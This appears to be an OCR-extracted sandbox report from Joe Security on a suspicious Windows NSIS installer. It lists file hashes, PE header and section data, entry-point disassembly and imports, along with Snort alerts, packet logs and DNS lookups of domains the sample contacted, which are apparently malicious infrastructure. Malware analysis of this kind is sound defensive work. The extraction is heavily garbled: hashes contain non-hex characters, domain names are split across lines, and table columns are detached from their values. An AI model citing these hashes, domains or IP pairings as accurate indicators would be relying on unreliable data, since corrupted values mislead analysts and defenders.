MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:
Time Stamp:

TLS Callbacks:
CLR (.Net) Version:

Copyright Joe Security LLC 2021

.0..H..

PE32 executable (GUI) Intel 80386, for MS Windows,
Nullsoft Installer self-extracting archive

6.821586500284818

e Win32 Executable (generic) a (10002005/4)
99.96%

Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

1cec9342_by_Libranalysis.exe

418969

1cec9342ac2c1f91201df672382672f2
968ab56e042035a593279775308298cfdcdcOaf7

a1783d0a9f787d819b960b55c8ehfh227459bch7daab55¢
96720e8279751736f

0aa688d114520cha9fa4559273dc65cf6142d1056e115de
4552bb9ca09a866e838alc58a7c1d916dd5he565b61321
1fbb21c12f92a48b202c7638863b9b2eb6e

6144:59X0G4b5mFCQCGNYpmUIfviQd+WSdCJInY0y9
SQEA97G9z3Kqe3r87WQ:/0X5mFveyYQhfvpW+Z197G
9Kz3r89

MZ.... . .LITh
is program cannot be run in DOS mode....$. 1)..PG..
PG..PG.*_...PG..PF.IPG.*_..PG..sw..PG..VA..PG.Rich.

2c5c9a72e286e871

0x403348
text

false
0x400000
windows gui

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
0x5F24D722 [Sat Aug 1 02:44:50 2020 UTC]
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https://www.metadefender.com/#!/results/file/bzIxMDUwOEkwUzQ5NUJ2Mlh6MUpGcnljWGdu/regular/analysis

General

OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Instruction

sub esp, 00000184h

push ebx

push esi

push edi

xor ebx, ebx

push 00008001h

mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 0040A198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004080B8h]

call dword ptr [004080BCh]

and eax, BFFFFFFFh

cmp ax, 00000006h

mov dword ptr [0042F42Ch], eax
je 00007F83A4CB5933h

push ebx

call 00007F83A4CB8A96h

cmp eax, ebx

je 00007F83A4CB592%h

push 00000C00h

call eax

mov esi, 004082A0h

push esi

call 00007F83A4CB8A12h

push esi

call dword ptr [004080CCh]

lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl

jne 00007F83A4CB590Dh

push 0000000Bh

call 00007F83A4CB8ABAN

push 00000009h

call 00007F83A4CB8A63h

push 00000007h

mov dword ptr [0042F424h], eax
call 00007F83A4CB8A57h

cmp eax, ebx

je 00007F83A4CB5931h

push 0000001Eh

call eax

test eax, eax

je 00007F83A4CB592%h

or byte ptr [0042F42Fh], 00000040h
push ebp

call dword ptr [00408038h]

push ebx

call dword ptr [00408288h]

mov dword ptr [0042F4F8h], eax
push ebx

lea eax, dword ptr [esp+38h]
push 00000160h

Copyright Joe Security LLC 2021
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Instruction

push eax

push ebx

push 00429850h

call dword ptr [0040816Ch]
push 0040A188h

Rich Headers

Programming Language:

Data Directories

Name

IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT
IMAGE_DIRECTORY_ENTRY_RESOURCE
IMAGE_DIRECTORY_ENTRY_EXCEPTION
IMAGE_DIRECTORY_ENTRY_SECURITY
IMAGE_DIRECTORY_ENTRY_BASERELOC
IMAGE_DIRECTORY_ENTRY_DEBUG
IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
IMAGE_DIRECTORY_ENTRY_IAT
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name Virtual Address Virtual Size
text 0x1000 0x6457

.rdata 0x8000 0x1380

.data 0xa000 0x25538
.ndata 0x30000 0x8000

.rsrc 0x38000 0x33b28
Resources

Name RVA
RT_ICON 0x38310
RT_ICON 0x48b38
RT_ICON 0x54548
RT_ICON 0x5d9f0
RT_ICON 0x62e78
RT_ICON 0x670a0
RT_ICON 0x69648
RT_ICON 0x6a6f0
RT_ICON 0x6b078
RT_DIALOG 0x6b4e0
RT_DIALOG 0x6b5e0
RT_DIALOG 0x6b700
RT_GROUP_ICON 0x6b760

Copyright Joe Security LLC 2021

Raw Size

0x6600

0x1400

0x33c00

Virtual Address

0x0
0x8544
0x38000
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x8000
0x0
0x0
0x0
Xored PE
False
False
False
False
False

Size

0x10828

Oxba0d

0x94a8

0x5488

0x4228

0x25a8

0x10a8

0x988

0x468

0x100

Oxllc

0x60

0x84

o [EXP] VC++ 6.0 SP5 build 8804

Virtual Size
0x0
Oxa0
0x33b28
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x29¢c
0x0
0x0
0x0
ZLIB Complexity File Type Entropy
0.66823682598 data 6.43498570321
0.4625 data 5.26100389731
0.463541666667 data 4.133728555
0 empty 0.0
0.497480751812 data 5.28997877298
Type Language
dBase Ill DBT, version number 0, next free block English
index 40
PNG image data, 256 x 256, 8-bit/color RGBA, non-  English
interlaced
data English
data English
dBase IV DBT of \200.DBF, blocks size 0, block English
length 16384, next free block index 40, next free
block 0, next used block 0
dBase IV DBT of ".DBF, block length 9216, next free  English
block index 40, next free block 0, next used block 0
dBase IV DBT of @.DBF, block length 4096, next free English
block index 40, next free block 0, next used block 0
data English
GLS_BINARY_LSB_FIRST English
data English
data English
data English
data English

Is in Section

.rdata

.rsrc

.rdata

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_CNT_UNINITIALIZED_
DATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Country
United States

United States

United States
United States
United States

United States

United States

United States
United States
United States
United States
United States
United States
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Name RVA Size Type Language Country
RT_MANIFEST 0x6b7e8 0x340 XML 1.0 document, ASCI!I text, with very long lines,  English United States
with no line terminators

Imports

DLL Import

ADVAPI32.dlI RegCreateKeyExA, RegEnumKeyA, RegQueryValueExA, RegSetValueExXA, RegCloseKey, RegDeleteValueA,
RegDeleteKeyA, AdjustTokenPrivileges, LookupPrivilegeValueA, OpenProcessToken, SetFileSecurityA,
RegOpenKeyExA, RegEnumValueA

SHELL32.dll SHGetFileInfoA, SHFileOperationA, SHGetPathFromIDListA, ShellExecuteExA, SHGetSpecialFolderLocation,
SHBrowseForFolderA

ole32.dll IIDFromString, Olelnitialize, OleUninitialize, CoCreatelnstance, CoTaskMemFree

COMCTL32.dll ImagelList_Create, ImageList_Destroy, ImageList_ AddMasked

USER32.dll SetClipboardData, CharPrevA, CallWindowProcA, PeekMessageA, DispatchMessageA, MessageBoxIndirectA,
GetDlgltemTextA, SetDlgltemTextA, GetSystemMetrics, CreatePopupMenu, AppendMenuA, TrackPopupMenu,
FillRect, EmptyClipboard, LoadCursorA, GetMessagePos, CheckDIgButton, GetSysColor, SetCursor,
GetWindowLongA, SetClassLongA, SetWindowPos, IsWindowEnabled, GetWindowRect, GetSystemMenu,
EnableMenultem, RegisterClassA, ScreenToClient, EndDialog, GetClassInfoA, SystemParametersinfoA,
CreateWindowEXxA, ExitWindowsEx, DialogBoxParamA, CharNextA, SetTimer, DestroyWindow, CreateDialogParamA,
SetForegroundWindow, SetWindowTextA, PostQuitMessage, SendMessageTimeoutA, ShowWindow, wsprintfA,
GetDlgltem, FindWindowExA, IsWindow, GetDC, SetWindowLongA, LoadlmageA, InvalidateRect, ReleaseDC,
EnableWindow, BeginPaint, SendMessageA, DefWindowProcA, DrawTextA, GetClientRect, EndPaint,
IsWindowVisible, CloseClipboard, OpenClipboard

GDI32.dll SetBkMode, SetBkColor, GetDeviceCaps, CreateFontindirectA, CreateBrushlindirect, DeleteObject, SetTextColor,
SelectObject

KERNEL32.dll GetExitCodeProcess, WaitForSingleObject, GetProcAddress, GetSystemDirectoryA, WideCharToMultiByte,
MoveFileExA, ReadFile, GetTempFileNameA, WriteFile, RemoveDirectoryA, CreateProcessA, CreateFileA,
GetlLastError, CreateThread, CreateDirectoryA, GlobalUnlock, GetDiskFreeSpaceA, GlobalLock, SetErrorMode,
GetVersion, IstrcpynA, GetCommandLineA, GetTempPathA, IstrlenA, SetEnvironmentVariableA, ExitProcess,
GetWindowsDirectoryA, GetCurrentProcess, GetModuleFileNameA, CopyFileA, GetTickCount, Sleep, GetFileSize,
GetFileAttributesA, SetCurrentDirectoryA, SetFileAttributesA, GetFullPathNameA, GetShortPathNameA, MoveFileA,
CompareFileTime, SetFileTime, SearchPathA, IstrcmpiA, IstrcmpA, CloseHandle, GlobalFree, GlobalAlloc,
ExpandEnvironmentStringsA, LoadLibraryExA, FreeLibrary, IstrcpyA, IstrcatA, FindClose, MultiByteToWideChar,
WritePrivateProfileStringA, GetPrivateProfileStringA, SetFilePointer, GetModuleHandleA, FindNextFileA,
FindFirstFileA, DeleteFileA, MulDiv

Possible Origin

Language of compilation system Country where language is spoken Map

-

English United States

Network Behavior

Snort IDS Alerts

Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP

05/12/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49752 34.102.136.180 192.168.2.4

20:03:21.436414

05/12/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49763 34.102.136.180 192.168.2.4

20:03:32.193681

05/12/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49766 34.102.136.180 192.168.2.4

20:03:48.182682

05/12/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49768 23.227.38.74 192.168.2.4

20:04:04.026160

05/12/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49771 34.102.136.180 192.168.2.4

20:04:09.293071

05/12/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49775 34.102.136.180 192.168.2.4

20:04:31.157010

Network Port Distribution

Copyright Joe Security LLC 2021
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Total Packets: 96

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
May 12, 2021 20:03:15.571806908 CEST 49744 80 192.168.2.4 44.227.76.166
May 12, 2021 20:03:15.774904966 CEST 80 49744 44.227.76.166 192.168.2.4
May 12, 2021 20:03:15.777678967 CEST 49744 80 192.168.2.4 44.227.76.166
May 12, 2021 20:03:15.981957912 CEST 80 49744 44.227.76.166 192.168.2.4
May 12, 2021 20:03:15.982130051 CEST 49744 80 192.168.2.4 44.227.76.166
May 12, 2021 20:03:16.184225082 CEST 80 49744 44.227.76.166 192.168.2.4
May 12, 2021 20:03:16.190001965 CEST 80 49744 44.227.76.166 192.168.2.4
May 12, 2021 20:03:16.190017939 CEST 80 49744 44.227.76.166 192.168.2.4
May 12, 2021 20:03:16.190237999 CEST 49744 80 192.168.2.4 44.227.76.166
May 12, 2021 20:03:16.190298080 CEST 49744 80 192.168.2.4 44.227.76.166
May 12, 2021 20:03:16.392328024 CEST 80 49744 44.227.76.166 192.168.2.4
May 12, 2021 20:03:21.257399082 CEST 49752 80 192.168.2.4 34.102.136.180
May 12, 2021 20:03:21.298505068 CEST 80 49752 34.102.136.180 192.168.2.4
May 12, 2021 20:03:21.298692942 CEST 49752 80 192.168.2.4 34.102.136.180
May 12, 2021 20:03:21.298877954 CEST 49752 80 192.168.2.4 34.102.136.180
May 12, 2021 20:03:21.339843988 CEST 80 49752 34.102.136.180 192.168.2.4
May 12, 2021 20:03:21.436414003 CEST 80 49752 34.102.136.180 192.168.2.4
May 12, 2021 20:03:21.436446905 CEST 80 49752 34.102.136.180 192.168.2.4
May 12, 2021 20:03:21.436570883 CEST 49752 80 192.168.2.4 34.102.136.180
May 12, 2021 20:03:21.436635971 CEST 49752 80 192.168.2.4 34.102.136.180
May 12, 2021 20:03:21.477725983 CEST 80 49752 34.102.136.180 192.168.2.4
May 12, 2021 20:03:26.511318922 CEST 49757 80 192.168.2.4 198.54.114.164
May 12, 2021 20:03:26.704844952 CEST 80 49757 198.54.114.164 192.168.2.4
May 12, 2021 20:03:26.704986095 CEST 49757 80 192.168.2.4 198.54.114.164
May 12, 2021 20:03:26.705135107 CEST 49757 80 192.168.2.4 198.54.114.164
May 12, 2021 20:03:26.905880928 CEST 80 49757 198.54.114.164 192.168.2.4
May 12, 2021 20:03:26.905924082 CEST 80 49757 198.54.114.164 192.168.2.4
May 12, 2021 20:03:26.905945063 CEST 80 49757 198.54.114.164 192.168.2.4
May 12, 2021 20:03:26.905966997 CEST 80 49757 198.54.114.164 192.168.2.4
May 12, 2021 20:03:26.905987978 CEST 80 49757 198.54.114.164 192.168.2.4
May 12, 2021 20:03:26.906013012 CEST 80 49757 198.54.114.164 192.168.2.4
May 12, 2021 20:03:26.906034946 CEST 80 49757 198.54.114.164 192.168.2.4
May 12, 2021 20:03:26.906050920 CEST 49757 80 192.168.2.4 198.54.114.164
May 12, 2021 20:03:26.906058073 CEST 80 49757 198.54.114.164 192.168.2.4
May 12, 2021 20:03:26.906074047 CEST 80 49757 198.54.114.164 192.168.2.4
May 12, 2021 20:03:26.906171083 CEST 49757 80 192.168.2.4 198.54.114.164
May 12, 2021 20:03:26.906203985 CEST 49757 80 192.168.2.4 198.54.114.164
May 12, 2021 20:03:26.906291008 CEST 49757 80 192.168.2.4 198.54.114.164
May 12, 2021 20:03:27.099024057 CEST 80 49757 198.54.114.164 192.168.2.4
May 12, 2021 20:03:32.014677048 CEST 49763 80 192.168.2.4 34.102.136.180
May 12, 2021 20:03:32.055665970 CEST 80 49763 34.102.136.180 192.168.2.4
May 12, 2021 20:03:32.055772066 CEST 49763 80 192.168.2.4 34.102.136.180
May 12, 2021 20:03:32.055988073 CEST 49763 80 192.168.2.4 34.102.136.180
May 12, 2021 20:03:32.098042965 CEST 80 49763 34.102.136.180 192.168.2.4
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Timestamp

May 12, 2021 20:03:32.193681002 CEST
May 12, 2021 20:03:32.193705082 CEST
May 12, 2021 20:03:32.193893909 CEST
May 12, 2021 20:03:32.193919897 CEST
May 12, 2021 20:03:32.236896038 CEST
May 12, 2021 20:03:37.295784950 CEST
May 12, 2021 20:03:37.372031927 CEST
May 12, 2021 20:03:37.372140884 CEST
May 12, 2021 20:03:37.372333050 CEST
May 12, 2021 20:03:37.449304104 CEST
May 12, 2021 20:03:37.449553967 CEST
May 12, 2021 20:03:37.449605942 CEST
May 12, 2021 20:03:37.449742079 CEST
May 12, 2021 20:03:37.449825048 CEST
May 12, 2021 20:03:37.526467085 CEST
May 12, 2021 20:03:42.629906893 CEST
May 12, 2021 20:03:42.767245054 CEST
May 12, 2021 20:03:42.767443895 CEST
May 12, 2021 20:03:42.767637014 CEST
May 12, 2021 20:03:42.905056000 CEST
May 12, 2021 20:03:42.905261993 CEST
May 12, 2021 20:03:42.905289888 CEST
May 12, 2021 20:03:42.905524969 CEST
May 12, 2021 20:03:42.905595064 CEST
May 12, 2021 20:03:43.044230938 CEST
May 12, 2021 20:03:48.001588106 CEST
May 12, 2021 20:03:48.045504093 CEST
May 12, 2021 20:03:48.045645952 CEST
May 12, 2021 20:03:48.045959949 CEST
May 12, 2021 20:03:48.089550972 CEST
May 12, 2021 20:03:48.182682037 CEST
May 12, 2021 20:03:48.182719946 CEST
May 12, 2021 20:03:48.183000088 CEST
May 12, 2021 20:03:48.183528900 CEST
May 12, 2021 20:03:48.225518942 CEST
May 12, 2021 20:03:53.348578930 CEST
May 12, 2021 20:03:53.476600885 CEST
May 12, 2021 20:03:53.476844072 CEST
May 12, 2021 20:03:53.476977110 CEST
May 12, 2021 20:03:53.607042074 CEST
May 12, 2021 20:03:53.613686085 CEST
May 12, 2021 20:03:53.613758087 CEST
May 12, 2021 20:03:53.613966942 CEST
May 12, 2021 20:03:53.614051104 CEST
May 12, 2021 20:03:53.742172956 CEST
May 12, 2021 20:04:03.739383936 CEST
May 12, 2021 20:04:03.782073975 CEST
May 12, 2021 20:04:03.782262087 CEST
May 12, 2021 20:04:03.782355070 CEST
May 12, 2021 20:04:03.823199034 CEST
May 12, 2021 20:04:04.026160002 CEST
May 12, 2021 20:04:04.026191950 CEST
May 12, 2021 20:04:04.026207924 CEST
May 12, 2021 20:04:04.026223898 CEST
May 12, 2021 20:04:04.026237011 CEST
May 12, 2021 20:04:04.026252985 CEST

UDP Packets

Timestamp

May 12, 2021 20:02:13.063652039 CEST
May 12, 2021 20:02:13.115976095 CEST
May 12, 2021 20:02:13.950892925 CEST
May 12, 2021 20:02:14.001583099 CEST
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Source Port
80

80
49763
49763
80
49764
80
49764
49764
80

80

80
49764
49764
80
49765
80
49765
49765
80

80

80
49765
49765
80
49766
80
49766
49766
80

80

80
49766
49766
80
49767
80
49767
49767
80

80

80
49767
49767
80
49768
80
49768
49768
80

80

80

80

80

80

80

Source Port
59123

53

54531

53

Dest Port
49763
49763
80

80
49763
80
49764
80

80
49764
49764
49764
80

80
49764
80
49765
80

80
49765
49765
49765
80

80
49765
80
49766
80

80
49766
49766
49766
80

80
49766
80
49767
80

80
49767
49767
49767
80

80
49767
80
49768
80

80
49768
49768
49768
49768
49768
49768
49768

Dest Port
53

59123

53

54531

Source IP
34.102.136.180
34.102.136.180
192.168.2.4
192.168.2.4
34.102.136.180
192.168.2.4
185.4.135.136
192.168.2.4
192.168.2.4
185.4.135.136
185.4.135.136
185.4.135.136
192.168.2.4
192.168.2.4
185.4.135.136
192.168.2.4
3.16.197.4
192.168.2.4
192.168.2.4
3.16.197.4
3.16.197.4
3.16.197.4
192.168.2.4
192.168.2.4
3.16.197.4
192.168.2.4
34.102.136.180
192.168.2.4
192.168.2.4
34.102.136.180
34.102.136.180
34.102.136.180
192.168.2.4
192.168.2.4
34.102.136.180
192.168.2.4
209.222.96.146
192.168.2.4
192.168.2.4
209.222.96.146
209.222.96.146
209.222.96.146
192.168.2.4
192.168.2.4
209.222.96.146
192.168.2.4
23.227.38.74
192.168.2.4
192.168.2.4
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74

Source IP
192.168.2.4
8.8.8.8
192.168.2.4
8.8.8.8

Dest IP
192.168.2.4
192.168.2.4
34.102.136.180
34.102.136.180
192.168.2.4
185.4.135.136
192.168.2.4
185.4.135.136
185.4.135.136
192.168.2.4
192.168.2.4
192.168.2.4
185.4.135.136
185.4.135.136
192.168.2.4
3.16.197.4
192.168.2.4
3.16.197.4
3.16.197.4
192.168.2.4
192.168.2.4
192.168.2.4
3.16.197.4
3.16.197.4
192.168.2.4
34.102.136.180
192.168.2.4
34.102.136.180
34.102.136.180
192.168.2.4
192.168.2.4
192.168.2.4
34.102.136.180
34.102.136.180
192.168.2.4
209.222.96.146
192.168.2.4
209.222.96.146
209.222.96.146
192.168.2.4
192.168.2.4
192.168.2.4
209.222.96.146
209.222.96.146
192.168.2.4
23.227.38.74
192.168.2.4
23.227.38.74
23.227.38.74
192.168.2.4
192.168.2.4
192.168.2.4
192.168.2.4
192.168.2.4
192.168.2.4
192.168.2.4

Dest IP
8.8.8.8
192.168.2.4
8.8.8.8
192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2021 20:02:14.862333059 CEST 49714 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:14.910777092 CEST 53 49714 8.8.8.8 192.168.2.4
May 12, 2021 20:02:16.253977060 CEST 58028 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:16.312331915 CEST 53 58028 8.8.8.8 192.168.2.4
May 12, 2021 20:02:17.959619999 CEST 53097 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:18.018564939 CEST 53 53097 8.8.8.8 192.168.2.4
May 12, 2021 20:02:19.917366982 CEST 49257 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:19.968873978 CEST 53 49257 8.8.8.8 192.168.2.4
May 12, 2021 20:02:20.905808926 CEST 62389 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:20.957370996 CEST 53 62389 8.8.8.8 192.168.2.4
May 12, 2021 20:02:22.008506060 CEST 49910 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:22.060240030 CEST 53 49910 8.8.8.8 192.168.2.4
May 12, 2021 20:02:23.610280991 CEST 55854 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:23.672235966 CEST 53 55854 8.8.8.8 192.168.2.4
May 12, 2021 20:02:24.907501936 CEST 64549 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:24.959218979 CEST 53 64549 8.8.8.8 192.168.2.4
May 12, 2021 20:02:26.840797901 CEST 63153 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:26.891748905 CEST 53 63153 8.8.8.8 192.168.2.4
May 12, 2021 20:02:27.852621078 CEST 52991 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:27.901262045 CEST 53 52991 8.8.8.8 192.168.2.4
May 12, 2021 20:02:29.118077040 CEST 53700 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:29.168251038 CEST 53 53700 8.8.8.8 192.168.2.4
May 12, 2021 20:02:30.055177927 CEST 51726 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:30.112361908 CEST 53 51726 8.8.8.8 192.168.2.4
May 12, 2021 20:02:31.206779957 CEST 56794 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:31.255425930 CEST 53 56794 8.8.8.8 192.168.2.4
May 12, 2021 20:02:48.330780983 CEST 56534 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:48.398782969 CEST 53 56534 8.8.8.8 192.168.2.4
May 12, 2021 20:02:49.652365923 CEST 56627 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:49.701029062 CEST 53 56627 8.8.8.8 192.168.2.4
May 12, 2021 20:02:52.528722048 CEST 56621 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:52.579396963 CEST 53 56621 8.8.8.8 192.168.2.4
May 12, 2021 20:02:53.465450048 CEST 63116 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:53.517167091 CEST 53 63116 8.8.8.8 192.168.2.4
May 12, 2021 20:02:54.630578995 CEST 64078 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:54.679369926 CEST 53 64078 8.8.8.8 192.168.2.4
May 12, 2021 20:02:56.183978081 CEST 64801 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:56.233654976 CEST 53 64801 8.8.8.8 192.168.2.4
May 12, 2021 20:02:59.364567995 CEST 61721 53 192.168.2.4 8.8.8.8
May 12, 2021 20:02:59.423401117 CEST 53 61721 8.8.8.8 192.168.2.4
May 12, 2021 20:03:08.425471067 CEST 51255 53 192.168.2.4 8.8.8.8
May 12, 2021 20:03:08.482908010 CEST 53 51255 8.8.8.8 192.168.2.4
May 12, 2021 20:03:15.367290020 CEST 61522 53 192.168.2.4 8.8.8.8
May 12, 2021 20:03:15.565867901 CEST 53 61522 8.8.8.8 192.168.2.4
May 12, 2021 20:03:17.725886106 CEST 52337 53 192.168.2.4 8.8.8.8
May 12, 2021 20:03:17.826119900 CEST 53 52337 8.8.8.8 192.168.2.4
May 12, 2021 20:03:18.362668991 CEST 55046 53 192.168.2.4 8.8.8.8
May 12, 2021 20:03:18.554306984 CEST 53 55046 8.8.8.8 192.168.2.4
May 12, 2021 20:03:19.165740013 CEST 49612 53 192.168.2.4 8.8.8.8
May 12, 2021 20:03:19.229396105 CEST 53 49612 8.8.8.8 192.168.2.4
May 12, 2021 20:03:19.479994059 CEST 49285 53 192.168.2.4 8.8.8.8
May 12, 2021 20:03:19.545161009 CEST 53 49285 8.8.8.8 192.168.2.4
May 12, 2021 20:03:19.681936026 CEST 50601 53 192.168.2.4 8.8.8.8
May 12, 2021 20:03:19.739070892 CEST 53 50601 8.8.8.8 192.168.2.4
May 12, 2021 20:03:20.341811895 CEST 60875 53 192.168.2.4 8.8.8.8
May 12, 2021 20:03:20.403373003 CEST 53 60875 8.8.8.8 192.168.2.4
May 12, 2021 20:03:20.950119972 CEST 56448 53 192.168.2.4 8.8.8.8
May 12, 2021 20:03:21.008697987 CEST 53 56448 8.8.8.8 192.168.2.4
May 12, 2021 20:03:21.196305990 CEST 59172 53 192.168.2.4 8.8.8.8
May 12, 2021 20:03:21.256314039 CEST 53 59172 8.8.8.8 192.168.2.4
May 12, 2021 20:03:21.501291990 CEST 62420 53 192.168.2.4 8.8.8.8
May 12, 2021 20:03:21.549973965 CEST 53 62420 8.8.8.8 192.168.2.4
May 12, 2021 20:03:22.291475058 CEST 60579 53 192.168.2.4 8.8.8.8
May 12, 2021 20:03:22.351526022 CEST 53 60579 8.8.8.8 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2021 20:03:23.481899977 CEST 50183 53 192.168.2.4 8.8.8.8

May 12, 2021 20:03:23.544143915 CEST 53 50183 8.8.8.8 192.168.2.4

May 12, 2021 20:03:23.963395119 CEST 61531 53 192.168.2.4 8.8.8.8

May 12, 2021 20:03:24.012821913 CEST 53 61531 8.8.8.8 192.168.2.4

May 12, 2021 20:03:26.447210073 CEST 49228 53 192.168.2.4 8.8.8.8

May 12, 2021 20:03:26.510171890 CEST 53 49228 8.8.8.8 192.168.2.4

May 12, 2021 20:03:27.032042980 CEST 59794 53 192.168.2.4 8.8.8.8

May 12, 2021 20:03:27.093102932 CEST 53 59794 8.8.8.8 192.168.2.4

May 12, 2021 20:03:31.948725939 CEST 55916 53 192.168.2.4 8.8.8.8

May 12, 2021 20:03:32.012048960 CEST 53 55916 8.8.8.8 192.168.2.4

May 12, 2021 20:03:37.212663889 CEST 52752 53 192.168.2.4 8.8.8.8

May 12, 2021 20:03:37.294027090 CEST 53 52752 8.8.8.8 192.168.2.4

May 12, 2021 20:03:42.467097044 CEST 60542 53 192.168.2.4 8.8.8.8

May 12, 2021 20:03:42.628508091 CEST 53 60542 8.8.8.8 192.168.2.4

May 12, 2021 20:03:47.937995911 CEST 60689 53 192.168.2.4 8.8.8.8

May 12, 2021 20:03:47.999537945 CEST 53 60689 8.8.8.8 192.168.2.4

May 12, 2021 20:03:53.199996948 CEST 64206 53 192.168.2.4 8.8.8.8

May 12, 2021 20:03:53.347131014 CEST 53 64206 8.8.8.8 192.168.2.4

May 12, 2021 20:04:03.668735027 CEST 50904 53 192.168.2.4 8.8.8.8

May 12, 2021 20:04:03.738435030 CEST 53 50904 8.8.8.8 192.168.2.4

May 12, 2021 20:04:03.935262918 CEST 57525 53 192.168.2.4 8.8.8.8

May 12, 2021 20:04:04.003670931 CEST 53 57525 8.8.8.8 192.168.2.4

May 12, 2021 20:04:06.033979893 CEST 53814 53 192.168.2.4 8.8.8.8

May 12, 2021 20:04:06.099162102 CEST 53 53814 8.8.8.8 192.168.2.4

May 12, 2021 20:04:09.047368050 CEST 53418 53 192.168.2.4 8.8.8.8

May 12, 2021 20:04:09.111213923 CEST 53 53418 8.8.8.8 192.168.2.4

May 12, 2021 20:04:14.310559034 CEST 62833 53 192.168.2.4 8.8.8.8

May 12, 2021 20:04:14.373636007 CEST 53 62833 8.8.8.8 192.168.2.4

May 12, 2021 20:04:19.542972088 CEST 59260 53 192.168.2.4 8.8.8.8

May 12, 2021 20:04:19.890546083 CEST 53 59260 8.8.8.8 192.168.2.4

May 12, 2021 20:04:25.495456934 CEST 49944 53 192.168.2.4 8.8.8.8

May 12, 2021 20:04:25.639183998 CEST 53 49944 8.8.8.8 192.168.2.4

May 12, 2021 20:04:30.903311968 CEST 63300 53 192.168.2.4 8.8.8.8

May 12, 2021 20:04:30.975553036 CEST 53 63300 8.8.8.8 192.168.2.4

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 12, 2021 20:03:15.367290020 CEST 192.168.2.4 8.8.8.8 0x9f67 Standard query  www.healsh A (IP address) IN (0x0001)
0) ameyoga.com

May 12, 2021 20:03:21.196305990 CEST 192.168.2.4 8.8.8.8 Ox5cee Standard query  www.rogers A (IP address) IN (0x0001)
(0) beefarm.com

May 12, 2021 20:03:26.447210073 CEST 192.168.2.4 8.8.8.8 0x3912 Standard query  www.nowhea A (IP address) IN (0x0001)
(0) Ithdays.com

May 12, 2021 20:03:31.948725939 CEST 192.168.2.4 8.8.8.8 0xcf80 Standard query  www.ikeber A (IP address) IN (0x0001)
(0) to.com

May 12, 2021 20:03:37.212663889 CEST 192.168.2.4 8.8.8.8 0x7424 Standard query  www.direct A (IP address) IN (0x0001)
(0) flence.com

May 12, 2021 20:03:42.467097044 CEST 192.168.2.4 8.8.8.8 0x78b Standard query  www.mmgeni A (IP address) IN (0x0001)
0) us.com

May 12, 2021 20:03:47.937995911 CEST 192.168.2.4 8.8.8.8 Oxce09 Standard query  www.rainbo A (IP address) IN (0x0001)
0) Xs.com

May 12, 2021 20:03:53.199996948 CEST 192.168.2.4 8.8.8.8 0x776¢c Standard query  www.noblea A (IP address) IN (0x0001)
0) ndmarble.com
